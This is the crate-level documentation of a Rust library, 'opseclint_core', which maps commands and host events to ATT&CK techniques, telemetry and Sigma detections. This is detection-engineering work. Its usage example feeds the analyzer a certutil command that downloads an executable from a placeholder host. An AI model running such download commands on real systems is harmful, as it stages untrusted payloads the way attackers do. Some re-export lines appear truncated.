1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
//! The knowledge base and evaluator behind [opseclint], as a library.
//!
//! Given a command, a script, or a recorded host event, this crate answers
//! three questions: which ATT&CK technique(s) the action implements, what host
//! telemetry it emits, and which detections would fire. It is the substrate
//! opseclint's binary is built on, published so other tools — a SIEM enrichment
//! step, a notebook, an MCP server, an agent — can build on the same data
//! rather than fork it.
//!
//! # The shape of an analysis
//!
//! ```
//! use opseclint_core::{analyzer, kb, kb::Platform};
//!
//! let kb = kb::load(Platform::WindowsSysmon)?;
//! let report = analyzer::analyze("certutil -urlcache -f http://x/a.exe a.exe", &kb);
//!
//! for finding in &report.findings {
//! println!("{} — {}", finding.rule_id, finding.description);
//! for t in &finding.techniques {
//! println!(" {} {}", t.id, t.name);
//! }
//! for signal in &finding.telemetry {
//! println!(" emits: {signal}");
//! }
//! }
//! # Ok::<(), opseclint_core::KbError>(())
//! ```
//!
//! [`sigma`] enriches that report from a real SigmaHQ checkout, and
//! [`telemetry`] takes the other direction — recorded sensor events in, the
//! same [`Report`] out.
//!
//! # Uncertainty is a value, not an absence
//!
//! [`sigma_eval`] is three-valued on purpose. A command line is not a host
//! event, so a rule keyed on a field the input cannot carry — `ParentImage`, a
//! hash, a registry value — evaluates to [`Outcome::Indeterminate`], never to
//! "no". Treat that verdict as its own answer: rounding it to *not detected* is
//! the one misuse of this crate that turns a careful result into a false claim
//! of stealth. Absence of a finding is not evidence of stealth either — the
//! knowledge base models a bounded set of actions, and [`kb::load`] tells you
//! which platform you asked about, not that the platform is fully mapped.
//!
//! [`Outcome::Indeterminate`]: sigma_eval::Outcome::Indeterminate
//! [opseclint]: https://github.com/ezekiellabs/opseclint
//!
//! # Feature flags
//!
//! - `clap` — derive `clap::ValueEnum` on [`kb::Platform`],
//! [`telemetry::Format`], and [`edr::Vendor`], for consumers that accept them
//! as command-line flag values. Off by default.
// Every public item carries documentation, and CI fails the build if one does
// not. This is a knowledge-base crate: a field named `noise` or a verdict named
// `Indeterminate` means something specific, and a consumer who guesses at the
// meaning gets a plausible wrong answer rather than an error.
// The names a consumer reaches for first. Everything else stays behind its
// module, where the module docs explain it.
pub use ;
pub use ;
pub use Command;
pub use ;